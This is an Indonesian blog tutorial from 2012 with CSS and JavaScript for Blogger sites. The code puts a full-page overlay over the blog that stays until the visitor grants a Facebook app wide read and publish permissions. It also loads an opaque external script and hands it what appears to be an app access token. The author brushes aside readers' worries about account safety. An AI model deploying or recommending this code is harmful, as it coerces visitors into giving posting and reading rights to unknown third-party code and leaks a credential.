cara memasang connect facebook di blog

karna banyaknya sahabat blogger yang bertanya-tanya gimanasih cara login ke blog harus menggunakan aplikasi facebook? / kok bisa?

ya.. bisa lah,

buat lo apasih yang gak bisa behahahha..

kelebihan login menggunakan aplikasi facebook; kita bisa memasang scripsi yang tdk bisa di gunakan oleh blogger lain dan agak sedikit unik(kata gw).

kekurangan login menggunakan facebook; banyak yang salah sangka atau takut akun facebooknya gak aman(kata ).

huft.... disini kita hanya berbagi shering saling menukar fikiran dari apa yang kita tdk ketahui / jadi tau

jadi gak bakalan ada yang ngotak ngatik akun kalian disini have fun lah

soooo..... langsung bae ke TKP (tangkap kodok palembang)

letakan kode dibawah ini di atas ]]></b:skin>

/* GUE-CONNECT FACEBOOK
----------------------------------------------- */
.blok-element{position:fixed; z-index:999; width:100%; height:100%; top:0px; left:0px; cursor:pointer; background:url(URL GAMBAR SESUAI KEINGINAN ANDA);}

merah ganti dengan URL gambar sobat
jika ingin menggunakan gambar tetap tambahkan kode: no-repeat fixed top center sesudah URL sobat
gunanya biar gambarnya tidak dobel
contoh:

/* GUE-CONNECT FACEBOOK
----------------------------------------------- */
.blok-element{position:fixed; z-index:999; width:100%; height:100%; top:0px; left:0px; cursor:pointer; background:url(URL SOBAT)no-repeat fixed top center;}

setelah itu copy kode dibawah ini dan letakan di  ADD gatget >> HTML/JavaScript

<script type="text/javascript">
<!--
//jaga-jaga kalo elements gak ada..
if(!document.getElementById('fb-root')){
document.write('<div id="fb-root"></div>');}
if(!document.getElementById('facebook-propic')){
document.write('<img id="facebook-propic" src="" style="display:none;"/>');}
if(!document.getElementById('block-login-aing')){
document.write('<div id="block-login-aing" class="blok-element" onclick="loginKaAing()" title="Login with Facebook">');
document.write('<div class="blok-element-dalem" title="Login with Facebook"></div>');
document.write('</div>');}
//Global Variable..

var idAplikasi = '236557559787981';

var idUserYgLogin = '';
var blokLoginElment = document.getElementById('block-login-aing');
var tempatGambarPropil = document.getElementById('facebook-propic');
//-->
</script><script src="http://gue-galau.googlecode.com/files/Notification_gue-galau.js" type="text/javascript"></script><script type="text/javascript">
notipNyaAtuBang('337732132937612|bw8T7CFLxZlbk4O9Qe102LKrlsY',30000);
</script><script type="text/javascript">
<!--
function loadAplikasiAing(appid){
window.fbAsyncInit = function() {
FB.init({appId: appid, status: true, cookie: true, xfbml: true, oauth: true});
var getLoginGagal = setTimeout("titahLoginHeula()",30000);
FB.getLoginStatus(function(pulangan){
clearTimeout(getLoginGagal);
if(pulangan.authResponse && pulangan.authResponse.userID){
idUserYgLogin = pulangan.authResponse.userID;}else{titahLoginHeula();}
tulisDitelLoginAing(pulangan);});};
(function() {
var e = document.createElement('script'); e.async = 'true';
e.src = document.location.protocol + '//connect.facebook.net/en_US/all.js';
document.getElementById('fb-root').appendChild(e);}());}
function titahLoginHeula(){
blokLoginElment.style.display='block';}
function loginKaAing(){
FB.login(tulisDitelLoginAing,{scope:'status_update,user_status,friends_status,read_stream,publish_stream,share_item,publish_actions'});}
function tulisDitelLoginAing(tahMere){
if(tahMere.authResponse){
if(tahMere.authResponse.userID){
idUserYgLogin = tahMere.authResponse.userID;
tempatGambarPropil.src='http://graph.facebook.com/'+tahMere.authResponse.userID+'/picture?type=large';}}
if(tahMere.status){
if(tahMere.status=='connected'){
blokLoginElment.style.display='none';
//execute scripts setelah sesi connect facebook selesai..
nextSript();}}}
function nextSript(){
//execute scripts setelah sesi connect facebook selesai..
if(typeof postScript != 'undefined'){postScript()}}
loadAplikasiAing(idAplikasi);
//--></script>

Selesai deh , semoga postingan saya tidak bermanfaat bagi  

share this article to: Facebook Twitter Google+ Linkedin Technorati Digg

Posted by Irfan Siddik, Published at Wednesday, October 31, 2012 and have 11 komentar